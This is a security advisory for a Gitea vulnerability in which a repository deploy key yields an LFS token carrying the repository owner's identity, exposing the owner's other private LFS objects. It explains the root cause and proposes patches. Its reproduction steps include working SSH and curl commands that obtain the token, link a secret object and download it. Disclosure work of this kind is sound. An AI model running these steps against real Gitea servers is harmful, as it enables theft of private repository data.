GHSA-rh79-75qm-gwjr CVE-2026-58435 GO-2026-6073
Gitea LFS Deploy-Key Privilege Escalation
- Severity
- 5.4 / 10
- Medium · CVSS 3.1
- Exploit chance (EPSS)
- 0.29%
- Chance of exploitation in the next 30 days. Higher than 22.07% of scored vulnerabilities.
- Known exploited
- No
- Not in CISA's catalog
- Weakness
- CWE-266 Incorrect Privilege Assignment
- CWE-639 Authorization Bypass Through User-Controlled Key
- Fix
- Available
- 2 packages have a fixed version
Description
Vulnerability Header
| Field | Value |
|---|---|
| Vulnerability Title | Gitea LFS Deploy-Key Privilege Escalation |
| Severity Rating | High |
| Bug Category | Insufficient Authorization |
| Location | services/lfs/server.go:268, routers/private/serv.go:275 |
| Affected Versions | 1.25.5 |
Executive Summary
Gitea's LFS server (services/lfs/server.go:268) uses the UserID embedded in an LFS JWT to make cross-repository authorization decisions via LFSObjectAccessible(). This would be safe if the JWT UserID always matched the actual requesting principal — but for deploy keys, routers/private/serv.go:275 sets UserID = repo.OwnerID instead of any identity representing the deploy key itself. As a result, an attacker who holds a write deploy key for any single repo owned by a victim can obtain a legitimate JWT (via the standard SSH git-lfs-authenticate flow) that Gitea will honor as if the victim themselves were making the request. The attacker can then exfiltrate LFS objects from any private repo the victim owns — no admin credentials, no server secrets, no brute force required. If the victim is a site administrator, every LFS object on the entire Gitea instance is reachable. Deploy keys exist precisely to grant narrow, single-repo access to CI/CD systems; this vulnerability defeats that isolation entirely for LFS data.
Root Cause Analysis
Technical Description
The vulnerability is a trust-boundary confusion across two independent subsystems. When a deploy key authenticates over SSH, serv.go sets UserID = repo.OwnerID because the code has no better representation for a deploy key identity (a FIXME comment acknowledges this). That UserID is baked verbatim into the LFS JWT by cmd/serv.go. The JWT is then consumed by server.go, which treats claims.UserID as the authenticated principal and loads that user object as ctx.Doer. When the batch upload handler encounters an object that exists on disk but isn't yet linked to the target repo, it calls LFSObjectAccessible(ctx, ctx.Doer, oid) — a global query across all repos the claimed user can see — to decide whether to silently create the cross-repo link. The JWT's RepoID claim is verified (so the request is correctly scoped to one repo at the HTTP level), but the UserID driving the cross-repo access decision is the repo owner, not the deploy key. The attacker ends up holding a valid, server-signed token that impersonates the victim for any LFS authorization check.
First Faulty Condition
The primary bug — where the JWT UserID is set incorrectly — is in serv.go:
| File | routers/private/serv.go |
|---|---|
| Line | 275 |
| Condition | Deploy key branch sets results.UserID = repo.OwnerID; the owner's UID is embedded in the JWT and later used as the authenticated principal for cross-repo privilege decisions in server.go:268 |
// routers/private/serv.go:252–278
if key.Type == asymkey_model.KeyTypeDeploy {
...
// FIXME: Deploy keys aren't really the owner of the repo pushing changes
// however we don't have good way of representing deploy keys in hook.go
// so for now use the owner of the repository
results.UserName = results.OwnerName
results.UserID = repo.OwnerID // ← OWNER's UID, not the deploy key
...
}
The secondary bug — where the tainted UserID is actually misused — is in server.go:
| File | services/lfs/server.go |
|---|---|
| Line | 268 |
| Condition | LFSObjectAccessible(ctx, ctx.Doer, oid) makes a cross-repo decision using the JWT UserID, which for deploy keys is the repo owner, not the deploy key holder |
// services/lfs/server.go:267–275
if exists && meta == nil {
accessible, err := git_model.LFSObjectAccessible(ctx, ctx.Doer, p.Oid)
...
if accessible {
_, err := git_model.NewLFSMetaObject(ctx, repository.ID, p) // links OID to attacker's repo
...
}
}
Admin amplification: if victim.IsAdmin, models/git/lfs.go:226 short-circuits with a bare COUNT(*) over the entire lfs_meta_object table — no repo filter. A deploy key on any admin-owned repo reaches every LFS object on the instance.
Exploitability Assessment
Attack Vector & Reachability
| Attack vector | Network |
|---|---|
| Authentication required | Low: attacker must hold a write deploy key's private key material for any of victim's repositories |
| User interaction required | None |
| Reachable in default config | No. Requires LFS_START_SERVER = true |
| Entry point(s) | SSH git-lfs-authenticate command + HTTP LFS batch API |
The practical exploitability of this vulnerability is constrained by a second prerequisite that is independent of the authorization bypass itself: the attacker must know the SHA-256 OID of a specific LFS object in the target repository. OIDs are 256-bit digests — not enumerable and not brute-forceable — and the LFS batch endpoint functions only as an existence oracle, not a listing mechanism. Successful exploitation therefore requires a prior information-disclosure path that exposes OIDs outside the repository boundary. Known paths include public forks that retain stale LFS pointer files in git history, former collaborators who retained object references from a prior git pull, and issue or pull request comments that reference pointer file contents.
LFS pointer files are committed in plaintext to git history, so anyone who ever cloned or had read access to the target repo retains all OIDs permanently. The attack is effectively a post-revocation persistence primitive — after a collaborator loses access, they can continue downloading updated versions of LFS files they previously knew existed.
Reproduction Steps
Environment
The issue was reproduced using gitea/gitea:1.25.5 docker image.
Setup (performed as victim/admin — represents normal deployment state)
# 1. Victim creates a private repo and uploads an LFS object
git clone http://victim:PASSWORD@localhost:3000/victim/secret-repo.git
cd secret-repo
git lfs track "*.bin"
echo "TOP SECRET: password is hunter2" > secret.bin
git add .gitattributes secret.bin && git commit -m "secret"
git push && git lfs push origin main
# Note the OID and size from:
git lfs pointer --file=secret.bin
# oid sha256:1d4fed31944373fcc761b70a2efc4a9731bc3a007c63ecee22ccd5b93bb6483b
# size 32
# 2. Victim creates ci-repo and registers a write deploy key
# (via UI: ci-repo → Settings → Deploy Keys → Add Deploy Key → enable write access)
# Attacker holds the corresponding private key (e.g. leaked from CI config)
Exploit
# Step 1 — Obtain JWT via SSH using only the deploy key (no victim credentials)
ssh -i ~/.ssh/deploy_key -p 2222 git@localhost \
"git-lfs-authenticate victim/ci-repo upload"
# → {"header":{"Authorization":"Bearer eyJ..."},"href":"..."}
# Decode payload: {"RepoID":3,"Op":"upload","UserID":4,...}
# ^^^^^^^^ victim's UID — BUG
JWT="eyJ..."
OID="1d4fed31944373fcc761b70a2efc4a9731bc3a007c63ecee22ccd5b93bb6483b"
SIZE=32
# Step 2 — Confirm attacker is blocked from secret-repo directly
curl -s -H "Authorization: Bearer $JWT" \
"http://localhost:3000/victim/secret-repo.git/info/lfs/objects/$OID"
# → {"Message":"Unauthorized"} — correctly blocked
# Step 3 — Batch upload to ci-repo claiming the secret OID
curl -s -X POST \
-H "Authorization: Bearer $JWT" \
-H "Accept: application/vnd.git-lfs+json" \
-H "Content-Type: application/vnd.git-lfs+json" \
"http://localhost:3000/victim/ci-repo.git/info/lfs/objects/batch" \
-d "{\"operation\":\"upload\",\"transfers\":[\"basic\"],\"objects\":[{\"oid\":\"$OID\",\"size\":$SIZE}]}"
# → {"objects":[{"oid":"1d4fed...","size":32}]} — NO "actions" field
# server silently linked the OID to ci-repo without demanding proof of possession
# Step 4 — Download the secret via ci-repo
curl -s -H "Authorization: Bearer $JWT" \
"http://localhost:3000/victim/ci-repo.git/info/lfs/objects/$OID"
# → TOP SECRET: password is hunter2
Expected output
Step 2: {"Message":"Unauthorized"} ← blocked from secret-repo
Step 3: {"objects":[{"oid":"1d4fed...","size":32}]} ← no actions = silently linked
Step 4: TOP SECRET: password is hunter2 ← exfiltrated via ci-repo
PoC files
- poc.sh — end-to-end PoC using real SSH deploy key
Recommended Fix
A proper fix might require significant architecture change. A short term recommendation is presented below:
Fix 1 — services/lfs/server.go:267 (defense in depth, immediately effective)
Remove the LFSObjectAccessible cross-repo shortcut. Require proof of possession (the normal upload flow) for any object not already linked to the target repo. The JWT is correctly scoped to one RepoID; authorization decisions about other repos should not be made using the JWT UserID.
// BEFORE (vulnerable):
if exists && meta == nil {
accessible, err := git_model.LFSObjectAccessible(ctx, ctx.Doer, p.Oid)
if err != nil {
log.Error("Unable to check if LFS MetaObject [%s] is accessible: %v", p.Oid, err)
writeStatus(ctx, http.StatusInternalServerError)
return
}
if accessible {
_, err := git_model.NewLFSMetaObject(ctx, repository.ID, p)
if err != nil {
log.Error("Unable to create LFS MetaObject [%s] for %s/%s. Error: %v", p.Oid, rc.User, rc.Repo, err)
writeStatus(ctx, http.StatusInternalServerError)
return
}
} else {
exists = false
}
}
// After (safe):
if exists && meta == nil {
// Do not use ctx.Doer for cross-repo decisions — the JWT only authorizes
// access to this repo. Always require proof-of-possession for objects
// not already linked here.
exists = false
}
The client will re-upload the bytes (which are hash-verified). Performance cost: one redundant upload per cross-repo object. Security gain: the cross-repo trust boundary is enforced regardless of how the JWT was issued.
Full patch: fix1.patch
Fix 2 — routers/private/serv.go:275 (fix the source)
Stop embedding repo.OwnerID in the JWT for deploy keys. Options:
- Add a
DeployKeyIDfield to the JWTClaimsstruct; teachhandleLFSTokento construct a minimal synthetic principal with exactly the deploy key's permissions (single-repo, mode-limited). - Or mint a separate JWT type for deploy keys that
server.gotreats as repo-scoped only, refusing to use it for cross-repo operations.
Patch provenance: AI-generated + Human-reviewed
Attribution
This vulnerability was discovered by Claude, Anthropic's AI assistant, and triaged by Adrian Denkiewicz at Doyensec in collaboration with Anthropic Research.
For CVE credits and public acknowledgments: Doyensec in collaboration with Claude and Anthropic Research.
Affected versions
Go
| Package | Vulnerable | Fixed in |
|---|---|---|
| code.gitea.io/gitea | < 1.27.0 |
1.27.0 |
| gitea.dev | < 1.27.0 |
1.27.0 |
How to fix
Move to the fixed version or later with your package manager, update the lockfile, and run your tests. If the package only arrives through another dependency, upgrade that dependency first. If none of its releases pulls a fixed version yet, force the version with your package manager's override.
code.gitea.io/gitea Go → 1.27.0
- go
go get code.gitea.io/gitea@v1.27.0 && go mod tidy
gitea.dev Go → 1.27.0
- go
go get gitea.dev@v1.27.0 && go mod tidy
Severity breakdown
CVSS 3.1 5.4
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:L/A:N
- Attack vector
- Network
- Attack complexity
- Low
- Privileges required
- Low
- User interaction
- None
- Scope
- Unchanged
- Confidentiality
- Low
- Integrity
- Low
- Availability
- None
Weakness
CWE-266: Incorrect Privilege Assignment
A product incorrectly assigns a privilege to a particular actor, creating an unintended sphere of control for that actor.
How to prevent it
- Architecture and Design, Operation: Very carefully manage the setting, management, and handling of privileges. Explicitly manage trust zones in the software.
- Architecture and Design, Operation: Run your code using the lowest privileges that are required to accomplish the necessary tasks [REF-76]. If possible, create isolated accounts with limited privileges that are only used for a single task. That way, a successful attack will not immediately give the attacker access to the rest of the software or its environment. For example, database applications rarely need to run as the database administrator, especially in day-to-day operations.
CWE-639: Authorization Bypass Through User-Controlled Key
The system's authorization functionality does not prevent one user from gaining access to another user's data or record by modifying the key value identifying the data.
How to prevent it
- Architecture and Design: For each and every data access, ensure that the user has sufficient privilege to access the record that is being requested.
- Architecture and Design, Implementation: Make sure that the key that is used in the lookup of a specific user's record is not controllable externally by the user or that any tampering can be detected.
- Architecture and Design: Use encryption in order to make it more difficult to guess other legitimate values of the key or associate a digital signature with the key so that the server can verify that there has been no tampering.
References
Packages
Other links
Timeline
- Published
- Last updated by the source
- Latest EPSS score
Related advisories
| Advisory | Severity | Why it's related |
|---|---|---|
| GHSA-rcr6-4jqh-j84m Gitea: Remote Code Execution via diffpatch Git Hook Installation | Critical Known exploited | Also affects code.gitea.io/gitea |
| GHSA-fq2p-5p22-8g6j Gitea: Public-Only Personal access tokens scope bypass in Organization and Permission Endpoints | Medium | Also affects code.gitea.io/gitea |
| GHSA-2wm4-vwp6-v7xc Gitea: SSRF via Migration Asset Downloads Bypasses hostmatcher — Reads Internal Files and Cloud Metadata | High | Also affects code.gitea.io/gitea |
| GHSA-3r5c-2xxx-h872 Gitea: Webhook Authorization Header Returned in Plaintext via API | Low | Also affects code.gitea.io/gitea |
| GHSA-frpw-3h2q-4jj6 Gitea: Cross-Repo Information Disclosure via Org-Level Actions Run/Job APIs | Medium | Also affects code.gitea.io/gitea |
| GHSA-q423-49rw-g9mh Gitea: GHSA-8fwc-qjw5-rvgp ClearRepoWatches fix not applied to API EditRepo path — sister code path retains stale watches on public->private | Medium | Also affects code.gitea.io/gitea |
| GHSA-h56g-4qw7-2mxg Gitea: Public-only API token restriction is not enforced on team API routes | Medium | Also affects gitea.dev |
| GHSA-prr9-9mp4-5gp2 Gitea: Private org member list leaked via /members API endpoint — incomplete fix for PR #38145 | High | Also affects gitea.dev |
MergeHarbor checks every repository's dependencies against this database, ranks what matters by exploitability and reachability, routes it to the owning team and opens the fix pull request.
Check your repos with MergeHarbor